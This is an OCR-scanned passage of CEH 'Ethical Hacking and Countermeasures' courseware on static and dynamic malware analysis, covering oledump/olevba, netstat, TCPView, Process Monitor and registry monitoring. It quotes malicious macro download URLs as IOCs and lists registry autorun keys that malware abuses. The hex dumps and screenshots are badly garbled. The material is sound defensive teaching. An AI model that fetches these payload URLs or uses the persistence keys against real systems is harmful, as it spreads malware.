8888888: 81 16 81 88 84 88
2s 81 88 16 ec e8 ee 8C e1 8e .. ... ( ... .. .... .
88888818: 88 SA 82 88 88 88
ES 8C ee F9 ec 8e ee 10 11 88
88888e28: e8 e1 88 e8 88 88
e1 ee ee DE AF 98 11 88 e8 FF ... . .. . .. . .. w.. .
88888838: FF Al 81 ee 88 88
as 8e ee B6 ee FF FF 01 e1 2s . . ... .. .
. . . ... . (
88888e48: 2s e2 14 a8
ee ee 8e 88 e8 ee ea FF FF e8 88 ee ...... ... .. ....
8888ee58: 8e e8 8e e8 80 88 80 55 S2 4C 44 6F 77 6E 6C 6F • • • • . • • URLOownlo
88888868: 61 64 54 6F 46 69 6C 65 41 a8 88 FF FF FF FF 81 dToFHeA ...... .
eeeee919: 88 ee ee FF FF Jc ee FF FF 88 88 E6 39 D6 11 A6 • •• • • < ••••• • 9 .. .
eeeeeese: oe 8C 48 A2 SF 66 A8 C9 9F 3D C8 SE 4E F9 D4 2A . . @. _f . . . : . . N •. •
eeeeee9e: 3C 9A 4B 94 3C 56 FC 4F se 26 e1 ee ee ee ee ee <.K. <V.O.& ...•.•
eeeeeeAe: ee ee es ee 88 ee ee es ee ee ee e1 ee ee ee FD
eeeeees8: FS cs 1E CA 21 DA 4C 96 es 20 2F 13 s1 84 eo 1e •.. • l.L.. · / ....•
eeoeeece: eo e9 ee 83 88 ee ee es ee ee ee e1 ee ee ee FF
88888808: FF FF FF FF FF FF FF 01 e1 es ee ee ee FF FF FF
eoooeeEe: FF 1s ee ee 80 88 FD FS cs lE CA 21 DA 4C 96 es .x ... .. .... I .L..
888eeeF8: 20 2F 13 87 B4 80 E6 39 D6 11 A6 oe ec 48 A2 SF · I ... . . 9 .. .. . @. _
eeeee1ee: 66 Ae c9 9F 3D ce FF FF ee ee ee ee 40 45 ee ee f . .. • .... . .. HE ..
88eee11e: 80 88 FF FF FF FF e8 e8 ee ee FF FF ee 80 ee ee
e8&8e12e: FF FF 81 81 e8 ee 80 ee DF ee FF FF ee 88 ee &8
88888138: 34 88 FF FF FF FF FF FF FF FF FF FF FF FF FF FF 4 . . • • . . . . . . • . . . .
88888148: FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
eeeee15e: FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
88888168: FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
eeeee178: FF FF FF FF FF FF Ff FF FF FF FF FF FF FF FF FF
eeeee1se: FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
88888198: FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
888881A8: FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
eeeee1s8: FF FF Ae ee e8 e8 82 ee S3 22 FF FF FF FF 88 88
eee8e1c8: e1 88 s3 18 FF FF FF FF 8e e8 e1 e8 S3 22 FF FF
eeeee1oe: FF FF ee ee ee ee JE 22 FF FF FF FF ee ee ee ee
eeeee1ee: 1A es FF FF FF FF ee ee ee ee lA ee FF FF FF FF
eeeee1Fe: ee ee ee ee lA es FF FF FF FF ee ee ee 08 1A es
eoeee2ee: FF FF FF FF ee ee ee oe lA 88 FF FF FF FF ee ee
88&ee218: ee ee 1A es FF FF FF FF 88 ee ee oe 1A 88 FF FF
e8eee22e: FF FF 88 ee 88 ae lA 4C FF FF FF FF ee 88 e8 88 ... ..•. L. ..... . •
eeeee238: lA 4C FF FF FF FF ee ea e8 e8 82 JC 38 88 FF FF .L ••• ••. •. • <8 ..•
eeeee24e: ee ee ee ee e2 3C JC ea FF FF 88 ee ee e8 82 JC ••• • • < < •• • •• • •• <
Plain Text • Tab Width: 8 • Ln 1, Col 1 INS

Figure 7.89: Using the oledump tool to dump the contents of suspicious m acro streams

■ Identifying Suspicious VBA Keywords


The olevba tool can be used to view the source code of all VBA macros embedded
within a document and to identify suspicious VBA keywords and obfuscation methods
used by malware.
To use olevba, run the following command: olevba '<path to the suspect
document>'. This helps in reviewing the source code of all VBA macros to check
whether the document contains any auto-executable macros/obfuscated strings and to
identify any indicators of compromise (IOCs) such as filenames, IP addresses, and URLs.

Module 07 Page 1122 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Rights Reserved. Reproduction is Strictly Prohibited .
Ethical Hacking and Co untermeasures Exam 312-50 Certified Et hical Hacker
Malware Threats

The screenshots below show the analysis of the infected_doc file by olevba, which
shows that it contains auto-executable macros that have shellcode and strings
obfuscated with Base64 and dridex.
Upon execution, these macros might download malicious files named test.exe and
sfjozjero.exe from the Internet and store them in the temp directory of the
compromised system . The following URLs are identified as IOCs:
o http://germanya.com.ec/logs/test.exe
o http://germanya.eom.ec/logs/counter.php

Figure 7.90: Using th e olevba tool t o ident ify suspicious VBA keywords

Figure 7.91: Using the olevba t ool t o identify suspicious VBA keywords

Module 07 Page 1123 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Right s Reserved. Reproduction is Strictly Prohibit ed.
Ethical Hacking and Co untermeasures Exam 312-50 Certified Ethical Hacker
Malware Threats

Dynamic Malware Analysis

In dynamic analysis, the maIwa re is executed on a system to understand its behavior after infection
Th is t ype of analysis requi res a safe environment su ch as virtual machines and sandboxes t o deter the spreading of ma Iw are
Dynamic analysis consist s of t wo st ages: System Baseliningand Host Integrity M onito ring

System Baselining Host Integrity Monitoring


Refers to takin g a snapshot of the Host integrity monitoring in volves taking a snapshot of t he system state using
system at t he time the ma Iw are the same tools before and after analysis, to detect changes ma de t o the entities
analysis begins residing on th e syst em

Host integrity monitoringincludes t he fol lowi ng:


The main purpose of system
baselining is to id entify significant e Port Monitoring e Installation Monitoring
changes from th e baseline state e Process Monitoring e Files and Folders Monitoring

The system baseline includes


e Registry Monitoring e Device Drivers Monitoring

details of the file system, registry, e Windows Services Monitoring e Network Traffic Monitoring/Analysis
open ports, network activity, etc. e Startup Programs Monitoring e DNS Monitoring/Resolution
e Event Logs Monitoring/ Analysis e API Calls and System Calls Monitoring

Copynght O by (C-CIIIICII All Rights Reserved Reproduction 1s Stnctly Proh1b1ted

Dynamic Malware Analysis


Dynamic malware analysis is the process of studying the behavior of malware by running it in a
monitored environment. This type of analysis requires a safe environment, such as virtual
machines and sandboxes, to deter the malware from spreading. The environment design should
include tools that can capture every movement of the malware in detail and provide relevant
feedback. Typically, virtual systems act as a base for conducting such experiments.
Dynamic analysis is performed to gather valuable information about malware activity, including
files and folders created, ports and URLs accessed, functions and libraries called, applications
and tools accessed, information transferred, settings modified, processes and services started
by the malware, etc.
You should design and set up the environment for performing the dynamic analysis such that
the malware cannot propagate to the production network and the testing system is capable of
recovering from a previously set tim eframe if case anything goes wrong during th e test . To
achieve this, the investigator needs to do the following:
■ System Baselining
Baselining refers to the process of capturing the system state (taking a snapshot of the
system) when the malware ana lysis begins, which can be compared with th e system's
state after executing the malware file. This will help to understand the changes the
malware has made across the system . System baselining includes recording details of
the file system, registry, open ports, network activity, etc.

Module 07 Page 1124 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Right s Reserved. Reproduction is Strictly Prohibited.
Ethical Hacking and Co untermeasures Exam 312-50 Certified Et hical Hacker
Malware Threats

■ Host Integrity Monitoring


Host integrity monitoring is the process of studying the changes that have taken place
across a system or machine after a series of actions or incidents. It involves taking
snapshots of the system before and after the incident or action using the same tools and
analyzing the changes to evaluate the impact on the system and its properties.
In malware analysis, host integrity monitoring helps to understand the runtime behavior
of a malware file as well as its activities, propagation techniques, URLs accessed,
downloads initiated, etc.
Host integrity monitoring includes the following:
o Port Monitoring
o Process Monitoring
o Registry Monitoring
o Windows Services Monitoring
o Startup Programs Monitoring
o Event Logs Monitoring/Analysis
o Installation Monitoring
o Files and Folders Monitoring
o Device Drivers Monitoring
o Network Traffic Monitoring/Analysis
o DNS Monitoring/Resolution
o API Calls Monitoring
o System Calls Monitoring

Module 07 Page 1125 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Rights Reserved. Reproduction is Strictly Prohibited .
Ethical Hacking and Co untermeasures Exam 312-50 Certified Et hical Hacker
Malware Threats

Dynamic Malware Analysis: Port Monitoring

Malw are programs corrupt the syst em and open system input/output ports to establi sh co nnections with remote
systems, net works, or servers to accomplish various malicious tasks
Use port monit oring tools such as netstat, and TCPView to scan for suspicious ports and look for any connection
established to unknow n or suspicious IP addresses

Port Monitoring Tools


8 Port Monitor
.......
.,_ = - •41-.U. (https://www.port-monitor.com)

8 CurrPort s
(https://www.nirsoft.net)
~::: H l.12
::.,. _ _,.,_.zr,

-- -_,,.-,.-i..-- -_•-_ ,.,.-.v.


-1'1 -.!,.
8 TCP Port / Telnet
Monitoring

""
: .,. =- =.,.,- .
·ic, ::: :.e.u 8
(https://www.dotcom-monitor.com)

PortExpert
(https://www.kcsoftwores.com)

8 PRTG's Network Monitor


(https://www.paessler.com)

https://does.microsoft.com
Copyright O by (C-CIUICII All Rights Reserved Reproduction 1s Stnctty Prohibited

Port Monitoring
Malware programs corrupt the system and open system input/output ports to establish
connections with remote systems, networks, or servers to accomplish various malicious tasks.
These open ports can also form backdoors for other types of harmful malware and programs.
Open ports act as communication channels for malware. They open unused ports on the
victim's machine to connect back to the malware handlers. Scanning for suspicious ports will
help in identifying such malware.
You can also determine whether malware is trying to access a particular port during dynamic
analysis by installing port monitoring tools such as TCPView and Windows command-line utility
tools such as netstat. These port monitoring tools provide details such as the protocol used,
local address, remote address, and state of the connection. Additional features may include
process name, process ID, remote connection protocol, etc.
■ Netstat
It displays active TCP connections, ports on which the computer is listening, Ethernet
statistics, the IP routing table, 1Pv4 statistics (for the IP, ICMP, TCP, and UDP protocols),
and 1Pv6 statistics (for the 1Pv6, ICMPv6, TCP over 1Pv6, and UDP over 1Pv6 protocols).
When used without parameters, net st at displays only active TCP connections.
Syntax
netstat [-a] [-e] [-n] [-o] [-p Protocol] [-r] [-s] [Interval]
Parameters
o -a: Displays all active TCP connections and the TCP and UDP ports on which the
computer is list ening.
o -e: Displays Ethern et stat istics, such as the number of bytes and packets sent and
received. This paramet er can be combined with -s.

Module 07 Page 1126 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Right s Reserved. Reproduction is Strictly Prohibit ed.
Ethical Hacking and Co untermeasures Exam 312-50 Certified Et hical Hacker
Malware Threats

o -n: Displays active TCP connections; however, addresses and port numbers are
expressed numerically, and no attempt is made to determine names.
o -o: Displays active TCP connections and includes the process ID (PID) for each
connection . You can find the application based on the PID in the Processes tab in
Windows Task Manager. This parameter can be combined with -a, -n, and -p.
o -p Protocol: Shows connections for the protocol specified by Protocol. In this case,
Protocol can be tcp, udp, tcpv6, or udpv6. If this parameter is used with -s to display
statistics by protocol, Protocol can be tcp, udp, icmp, ip, tcpv6, udpv6, icmpv6, or
ipv6.
o -s: Displays statistics by protocol. By default, statistics are shown for the TCP, UDP,
ICMP, and IP protocols. If the 1Pv6 protocol for Windows XP is installed, statistics are
shown for the TCP over 1Pv6, UDP over 1Pv6, ICMPv6, and 1Pv6 protocols. The -p
parameter can be used to specify a set of protocols.
o -r: Displays the contents of the IP routing table. This is equivalent to the route print
command.
In the image below, the command netstat -an displays all the active TCP connections as
well as the TCP and UDP ports on which the computer is listening along with the
addresses and port numbers.

Iii Com mand Prompt D X

Figure 7 .92: Screenshot of Net stat

Module 07 Page 1127 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Rights Reserved. Reproduction is Strictly Prohibit ed.
Ethical Hacking and Co untermeasures Exam 312-50 Certified Et hical Hacker
Malware Threats

■ TCPView

Source: https://docs.microsoft.com
TCPView is a Windows program that shows detailed listings of all TCP and UDP
endpoints on the system, including the local and remote addresses, and the state of the
TCP connections. It provides a subset of the Netstat program that ships with Windows.
The TCPView download includes Tcpvcon, a command-line version with the same
functionality. When TCPView runs, it enumerates all active TCP and UDP endpoints,
resolving all IP addresses to their domain name versions.

TCPView • Sysintcrnals: www.sysinternals.com X


Filc Edit View Proc~s Connection Options Help

@I 0 1~ I~ I 4 1CP v4 : , TCP v6 4 UDPv4 ( UDP v6 I ftl ~JP_Se_ar_d> _ _ _ _ _~


Process Name Process ID Protocol State local Addre:ss lo~ at Port Remote Address Remote Port Create Ti"'
i"" dns.exe 2320 lCP Listen 10.10.1.22 SJ 0.0.0.0 4/ 6/20221:».26 •
... dns.exc 2320 lCP Listen 127.0.0.1 53 0.0.0.0 4/ 6/ 20221:».26,
I dns.exe 2320 TCPv6 Listen ::1 53 4/6/2022 1:30:26.
~ dns.exe 2320 lCPv6 Listen f.S0::9d6& 1d1 a:92•b:"27o SJ 4/6/2022 1:30:26,
'j"'il system 4 1CPv6 Listen 80 4/ 6/ 20221:».26.
i""' Syste:m 4 TCP Listen 0.0.0.0 80 0.0.0.0 4/6/2022 1:».26.
I" 1sass.exe 756 TCPv6 Listen 88 4/ 6/ 20221:».17,
'ii' lsass.exc 756 TCP Listen 0.0.0.0 88 0.0.0.0 4/ 6/20221:».17,
I' svchost.exe 992 lCP Listen 0.0.0.0 135 0.0.0.0 4/6/ 20221:».16.
~ svchost.exe 992 TCPv6 Listen 135 4/6/2022 1:».1 6.
'j"? System lCP listen 10.10.1.22 139 0.0.0.0 4/6/20221:J0:13,
,.... lsass.exe 756 TCP Listen 0.0.0.0 389 0.0.0.0 4/6/2022 1:».26.
'i1 lsass.cxc 756 TCPv6 Established fe80::9d68:1d 1a:92eb:~7e 389 f.S0::9d6&1d1a:92•b:"27• 61217 4/6/20221:».38,
i" lsass.exe 756 TCPv6 Establishe:d ::1 389 :: 1 61220 4/6/20221:».56.
i" lsass.exe 756 1CPv6 Establishe:d ::1 389 ::1 61212 4/6/20221:».26.
-., lsass.exe 756 TCPv6 listen 389 0 4/6/20221:».26,
l 1sass.exe 756 TCPv6 Established fe80::9d68:1d1a:92eb:e27e 389 fe80::9d68:1d1a:92eb:e27e 61257 4/5/2022 9:31:58
.,. lsasuxe 756 TCPv6 Established fe80::9d68:1d 1a:92e:b:e27e 389 f.S0::9d6&1dla:92•b:"27• 61233 4/6/ 20221:».56,
l lsass.exe 756 TCPv6 Established ::1 389 ::1 61211 4/ 6/ 20221:J0:26,
i"l system TCP Listen 0.0.0.0 445 0.0.0.0 0 4/6/20221:».26,
'il system TCPv6 Established fe80::9d68:1 d1 a:92eb:e27e 445 fe80::9d68:1dl a:92eb:e27e 62194 4/ 5/ 202211:31:00
.-, System 4 TCPv6 listen 445 0 4/6/20221:».26.
i"1' lsass.exe 756 TCP Listen 0.0.0.0 464 0.0.0.0 0 4/6/2022 1:».17,
'ii' lsasuxe 756 1CPv6 listen 464 4/6/20221:».17,
i"1 svchost.exe 992 TCP Listcn 0.0.0.0 593 0.0.0.0 4/ 6/20221:J0:26,
P svchost.exe 992 TCPv6 Listen 593 4/ 6/ 20221:».26,
'17' lsass.exc 756 lCP Listen 0.0.0.0 636 0.0.0.0 4/6/20221:30:26,
Y lsasuxe 756 TCPv6 Liste:n 636 4/ 6/20221:».26,
'i1 mqsvc.exc 3164 TCP Liste:n 0.0.0.0 1801 0.0.0.0 4/6/20221:».27,
____ .,_,_
a" mqsvc.exe
~~~~ ~
3164 lCPv6 liste:n 1801

<
'.~!~· >
¥

Endpoints: 93 Establishe:d: 24 Liste:ning: 69 TimeWait: Close Wait: Update:: 2 sec 5tatos: (Alij

Figure 7.93: Scree nshot of TCPView

Some additional port monitoring tools are as follows:


■ Port Monitor (https://www.port-monitor.com)
■ CurrPorts (https://www.nirsoft.net)
■ TCP Port/ Telnet Monitoring (https://www.dotcom-monitor.com)
■ Port Expert (https://www.kcsoftwares.com)
■ PRTG Network Monitor (https://www.paessler.com)

Module 07 Page 1128 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Rights Reserved. Reproduction is Strictly Prohibited .
Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker
Malware Threats

Dynamic Malware Analysis: Process Monitoring

Malware programs camouflage themselves as Process Monitor


genuine Windows services or hide their processes
The Process Monitor shows the real-time file system, Registry,
to avoid detection
and process/thread activity
Some malware programs al so use PEs (Portable
Executable) to inject into various processes (such
·-----~ ---
H o l M f - - - ~ .....

as explorer.exe or web browsers) Tloo<t/C,.-- ,. _,_-o,<.«n,


_
Use process monitoring tool s like Process Monitor
11WiiH11
11 'i1>"0U

11.50.KOU • - -
._
·_
-. -_
-
__,_,0$1.CCUS
---IDWCC[SS
--.-,-IDSUXf.U
---,osuxus
11.»K015
11 511!H1! ..__
• - -

---IDSI.CCW
to scan for suspicious processes 11.511:1'.01!
11 511.!Ul!

11.511K011.
11WiiU1l --- -
11 \0SUlt •• - -
11.50.!IUlt
11 !511"5'.Jlli
11.
-=--
..
· -

0!IUl l •..-
_-
__

_-
-

-=- - ---·--o
--,--.051.CCUS
---.--.osucass
22II001!1UJ!J.,IOIO I H!.l!J

---,DSI.CCW
1111:11•S!!,3.,,..4,,._...,...,
su::cus
S1.CCBS
IOl•.ffll,.W0,1\Yl ..1?1511.!<.«US
su::ass

.
11 511Klll6 .__ _
11 11)_ _ _ " - -
--·-IDSI..UlSS
---IDSLCCUS
Process Monitoring Tools "

8 Process Explorer (https://docs.microsoft.com )

8 OpManager (https://www.manageengine.com)

8 Monit (https://mmonit.com)

8 ESET Syslnspector(https://www.eset.com)

8 System Explorer (https://systemexplorer.net)

•' Copynght O by lC~HICII All Rights Reserved Reproduction is Stnctly Prohibited

Process Monitoring
Malware enters the system through images, music files, videos, etc., which are downloaded
from the Internet, camouflage themselves as genuine Windows services, and hide their
processes to avoid detection. Some malwares use PEs to inject themselves into various
processes (such as explorer.exe or web browsers). Malicious processes are visible but appear
legitimate; hence, they can bypass desktop firewalls. Attackers use specific rootkit methods to
hide malware in the system so that the antivirus software cannot detect it easily.
Process monitoring helps in understanding the processes that the malware initiates and takes
over after execution . It is also necessary to observe the child processes, associated handles,
loaded libraries, functions, and execution flow of boot time processes to define the entire
nature of a file or program, gather information about the processes running before the
execution of the malware, and compare them with the processes running after execution. This
method will reduce the time taken to analyze the processes and help in easy identification of all
the processes that the malware starts. Use process-monitoring tools such as Process Monitor to
detect suspicious processes.
■ Process Monitor
Source: https;//docs.microsoft.com
Process Monitor is a monitoring tool for Windows that shows real -time file system,
registry, and process/thread activity. It combines the features of two legacy Sysinternals
utilities, Filemon and Regmon, and adds an extensive list of enhancements, including
rich and non-destructive filtering, comprehensive event properties such session IDs and
user names, reliable process information, full thread stacks with integrated symbol
support for each operation, simultaneous logging to a file, and so on. The unique

Module 07 Page 1129 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Rights Reserved. Reproduction is Strictly Prohibited.
Ethical Hacking and Co untermeasures Exam 312-50 Certified Et hical Hacker
Malware Threats

features of Process Monitor make it a core utility in system troubleshooting and


malware hunting toolkits.
Features:
o More data captured for operation input and output parameters.
o Non-destructive filters that can be set without losing data.
o Capture of thread stacks for each operation makes it possible to identify the cause of
operation in many cases.
o Reliable capture of process details, including image path, command line, user, and
session ID.
o Configurable and moveable columns for any event property.
o Filters can be set for any data field, including fields not configured as columns.
o Advanced logging architecture scales to tens of millions of captured events and
gigabytes of log data.
o Process tree tool shows the relationships of all processes referenced in a trace.
o Native log format preserves all data for loading in a different Process Monitor
instance.

a Process Monitor - Sysintemals: www.sysintemals.com Ol X


File Edit Event Filter Tools Options Help

TmeofOay Prt>cessNa-ne PID Ope,un Path Red lletal


11 :50:56.014... T-dwm.exe 511 Reo(lueryValue HKCU\Softw~\Mcrosoft\Wildov.-s\O . SUCCESS Type: REG_OWORO. ~ : 4. Data: 0
11:50:56.015.. T.dwm.exe 511 Reo(lue,yValue HKCU\Softw~\Microsoft\Wndows\O ... SUCCESS Type: REG_DWORO, Length: 4. Data: 0
11 :50:56.015.. T.dwm.exe 512 Reo(lueryVaiue HKCU\Softw""\Mcrosoft\Wndows\D... SUCCESS T,oe: REG_DWORD. l.enoth: 4. Data: 0
11 :50:56.015 . T-dwmexe 511 Reo(lueryValue HKCU\Software\Mcrosoft\Wndows\D ... SOCCESS T,oe· REG_DWORD. L.enoth: 4. Data· 0
11 :50:56.015.. T.dwm.exe 511 Reo(lue,yValue HKCU\Softwa,e\Miaosoft\Wndows\O .. SUCCESS Type. AEG_OWORO. l.en¢l: 4. Data: 0
11:50:56.015 .. T.dwm.exe 511 Reo(lueryValue HKCU\Software\M;cro,d\\Wndows\D... SUCCESS Type· REG_DWORD. len¢,: 4. Data· 0
11,50,56.015.. T.dwm.e,e 511 Reo(lue,yValue HKCU\Softw.n\Microsoft\Wndows\D ... SUCCESS Type· REG_DWORD. length: 4. Data: 0
11:50:56.016... T-dwm.exe 511 Reo(lueryValue HKCU\Softwa,e\M;cro,oft\Wndows\D... SUCCESS T,oe: REG_DWORD. length: 4. Data: 0
11 :50:56.016... T.dwm.exe 511 Reo(lueryValue HKCU\Software\Microsoft\Wildowt\O ... SUCCESS Type: REG_OWORO, Length: 4, Data: 0
11 :50:56.318.. T.svc:ho91:.exe 1204 UDP Receive 124.0 0.251:5353 ·> 10.10.1.14:5353 SUCCESS length: 376. ser,un: 0. comd: 0
11 :50:56.318... T-svchosi.exe 1204 W02:ft>·5353 ·> fe80::15:5cfffe17:7512:... SUCCESS L.enoth: 309. ser,un: 0. comd: 0
11 :50:56.318.. T-svchost.e:xe 1204 W01:ft>:5353 ·> fe80::d194:1e4:dlk8·4b... SOCCESS length: 376. ser,un: 0. comd: 0
11 :50:56.385.. T.dwm.exe 511 SOCCESS Type: REG_DWORD. l.enoth: 4. Data: 0
11 :50:56.385...
11 :50:56.385..
Y.dwm.exe
T.dwm.exe
511
511
. SUCCESS
. SUCCESS
Type: REG_OWORO, length: 4, Cata: 0
Type: AEG_OWORO, Length: 4, Data: 0

11: .56 T. wm.exe 512 ESS T REG R h· 4 Data·

• · ro,an.exe
11 :50:56.408 .. T-Trofan.exe Reo(lueryKey SUCCESS
11 :50:56..408.. T-Tro;an.exe Reo()penKey HKCU\Softwa,e\t.lcrooo/t\Wndows'C . SOCCESS Desired Access; Read/Wile
11 :50:56.408... T.TrojM.exe ReoSetHoKey HKCU\Softw1R\Ma-osoft\Wndows\C . SUCCESS Key Set Homw,,Cla" KeySet HandeTago ..
11 :50:56.408 ... T-Trojan.exe Reo(lueryValue HKCU\Software\M;cro,d\\Wndows'C . BUFFER OVERFLOW length: 11
11 :50:56.408... T.Troja,,exe Reo(lueryKey HKCU\Software\Microsoft\Wndows\C . SUCCESS Clue,y: HandeTago. HardeTag,: ll<400
11:50:56.408 ... T.Tro;an.exe ReoSetVaiue HKCU\Software\Miaosoft\Wndows\C . Sl.CCESS T,oe: REG_SZ. length. 120. Data: "C:\Use ...
11 :50:56.408 ... T.Tro;an.exe Reo(lue,yValue HKLM\Softwan,\t.lcrooo/t\Wndowo'C . NAME NOT FOUND length: 11
11 :50:56.408. T.Troian.exe Reo(lue,yKey HKLM SUCCESS Clue,y: HandeTaos. HandeTago: Oc0
11 :50:56.408.. T-Tro,an.exe Reo(lueryKey HKLM SUCCESS Clue,y: Nane
11:50:56.408... T-' Trnjan.exe Reo()penKey HKLM\Softwa,e\WQW6432Node\Ma . SUCCESS Desired Access: Read/Wlie
11 :50:56.40'9 ... T-Trnjan.exe ReoSetHoKey HKLM\SOFTWARE\Wow6432Node\M .SUCCESS KeySetHoonationOass. KeySetHardeTags ..
11:50:56.409 ... T.Trnjan.exe Reo(lueryValue HKLM\SOFTWARE\Wow6431Node\M .BUFFER OVERFLOW length: 11
11 :50:56.409 .. T-Trnjan.exe 6680 Reo(lue,yKey HKLM\SOFTWARE\Wow6432Node\M .SUCCESS Oue,y: HandeTaos. HandeTaos: Oc400
11 :50·56.409 ... T. Trojan.exe 6680 11, ReoSetValue HKLM\SOFTWARE\Wow6432Node\M .SUCCESS T,oe: REG_SZ. length: 120. D"a: "C:\Use ...
11 :50:56.435 ...T.svchost.exe 3484 <f' TlYead Exl SUCCESS TlYead ID: 6556. User Tine: 0.0000000. Ke<...
11 :50:56.435 .. T-svchost.exe 3484 <f' TlYead Exl SUCCESS lln-,d 10: 51 12, User Tme: 0.0000000. Ker...
11 :50:56.577 ...T-svchost.exe HKCR SUCCESS Cluefy: HardeTags, HandeTags: Oc:O
1318 i Reo(lueryKey
11 :50:56.577... Tosvchost.exe 1318 Reo()penKey HKCR'£LSID\{397A1E5F·348:-482D·... SOCCESS Desired h:cess: Read
11 :50:56.577... T.svchost.exe 1328 Reo(lueryKey HKCR'£l.SID\ {397a1e!i-348c-482dM . SOCCESS Clue,y: HandeTaos. HandeTaos: Oc0
11 :50:56.577.. T.svchost.exe 1328 Reo()penKey HKCR'£l.SID\{397a1e!i-348c-482dl>9 . NAME NOT FOUND Desired Access: Read
11 :50:56.577 .. --.;svchost.exe 1318 Reo(loseKey HKCR'£l.SID\1397a1e!i-348c-482dl>9 . SUCCESS
11 :50c56.936... T-DFSRs.exe 1568 ., fieS,~emControl C: SUCCESS Cortrol. F5CTL READ USN JOURNAL
Showing 31,845 of 200,252 ev,nts (15%} Backed by virtual m,mory
-~--::::::::::::::::===-=--------------------;,-;,-=-=-=-=-=-;,~,

Figure 7.94: Screenshot of Process Monitor

Module 07 Page 1130 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Rights Reserved. Reproduction is Strictly Prohibited .
Ethical Hacking and Co untermeasures Exam 312-50 Certified Et hical Hacker
Malware Threats

Some additional process monitoring tools are as follows :


• Process Explorer (https://docs.microsoft.com)
• OpManager (https://www.manageengine.com)

■ Monit (https://mmonit.com)

■ ESET Syslnspector (https://www.eset.com)

• System Explorer (https://systemexplorer.net)

Module 07 Page 1131 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Right s Reserved . Reproduction is Strictly Prohibited .
Ethical Hacking and Co untermeasures Exam 312-50 Certified Ethical Hacker
Malware Threats

Dynamic Malware Analysis: Registry Monitoring


Th e W indows registry st o res OS and program configuration It is a regis try cleaner used to find registry errors
details, such as settings and option s and unneeded registry junk. It also helps in
detecting registry entries created by the malware
Malwa re uses the regist ry t o perform harmful activity
continuously by storing entries into th e registry and ensuring
that th e malicious program runsautomatica llywheneverthe
compute r or device boots :.:::.:•-dllor....---111'..,..__,.,Duplicate
__ .,_____Finder .,___... __ ....
Use registry entry monitoring too ls such as jv16 PowerTools t o What kmd of duplicates to look for

examine th e changes made by the maIware t o the system's


regist ry

Registry Monitoring Tools


°'"'-·...---.. --.. ,.Lo,r~...,..
. .~ .,.
0,lylooOto,--- ...- -.....

!I regs hot (https://sourceforge.net) What files to find

Ocw.-_.,. ......
□ Ool\< ......... _ ....,_.
_ _ __
!I Reg Orga nizer(https://www.chemtable.com)

!I Registry Viewer (https://accessdata. com ) Where to look from

!I RegScanner (https://www.nirsoft.net)
• □- .lil- lil- ;111l-.... 'ol □ .......... a □"'""-

e Registry Monitoring Tool (https://www.solarwinds.com) hrtps://jv16powertools.com

Copyright O by (C-CIUICII All Rights Reserved Reproduction 1s Stnctty Prohibited

Registry Monitoring
The Windows registry stores OS and program configuration details, such as settings and
options. If the malware is a program, the registry stores its functionality. The malware uses the
registry to perform harmful activity continuously by storing entries in the registry and ensuring
that the malicious program runs whenever the computer or device boots automatically.
When an attacker installs malware on the victim's machine, it generates a registry entry.
Consequently, various changes will be noticed, such as the system becomes slower, various
advertisements keep popping up, and so on .
Windows automatically executes instructions in the following sections of the registry:
• Run
• RunServices
■ RunOnce
■ RunServicesOnce
• HKEY_CLASSES_ROOT\exefile\shell\open\command "%1" %*.
Malware inserts instructions in these sections of the registry to perform malicious activities.
You should have fair knowledge of the Windows registry, its contents, and inner workings to
analyze the presence of malware. Scanning for suspicious registries will help to detect malware.
Use registry monitoring tool s such as RegScanner to scan registry values for any suspicious
entries that may indicate malware infection .

Module 07 Page 1132 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Rights Reserved. Reproduction is Strictly Prohibited.
Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker
Malware Threats

■ jv16 PowerTools

Source: https://jv16powertools.com
Jv16 PowerTools is a PC system utility software that works by erasing unnecessary files
and data, cleaning the Windows registry, automatically fixing system errors, and
optimizing your system. It allows you to scan and monitor the registry.
It helps in detecting registry entries created by the malware. The "Clean And Speedup
My Computer" feature of Registry Cleaner in jv16 PowerTools is a solution for fixing
registry errors and system errors and cleaning registry leftovers and unnecessary files
such as old log files and temporary files.

This toot allows you to search for duplicate files. By duplicate, we can either mean files with identical names, identical content or both. Please see the options below and
dick Start to beqin.

What kind of duplicates to look for


Filename File content
0 Anyname 0 Any content
@ Same file type ® Exactly identical content
0 Exact.Iv same name

Only look for files which are at l e a s t : ~ MB

Only look for files which have been created overlc=I days ago
Only look for files which have not been modified in the last lc=I days

Only look for files which have not been opened in the last lc=I days

What files to find


@ Find all files

0 Only look for files of these types ·-


0 Only look for files matchinQ search words-·

Where to look from


0 From evervwhere
@ Only from these locations:

0 Desktop ~ 0 Downloads 0Documents ~ 0Pictures 00 D Program files @' D Temp folders

Start Close

Figure 7.95: Screenshot of jv16 PowerTools

Some additional registry monitoring tools are as follows:


■ regshot (https://sourceforge.net)
■ Reg Organizer (https://www.chemtable.com)
■ Registry Viewer (https://accessdata.com)
■ RegScanner (https://www.nirsoft.net)
■ Registry Monitoring Tool (https://www.solarwinds.com)

Module 07 Page 1133 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Rights Reserved. Reproduction is Strictly Prohibited .
Ethical Hacking and Co untermeasures Exam 312-50 Certified Et hical Hacker
Malware Threats

Dynamic Malware Analysis: Windows Services Monitoring

Malwa re spawns W indows services that allow


attackers to get remote control of the victim's -,.,_.am --

::::::-.(), , ,. = --
---
t --•- -:::::
- :-::: :---0.
-- _____

--- ;-,_-:.,~-
.nm

-- -
Q - -
machine an d pass malicious instru ctions

-
<J,,ot - - -ila!O...
: :;'
Malwa re rename their processes to look like a = -
--- -
~ -
- ==:-~
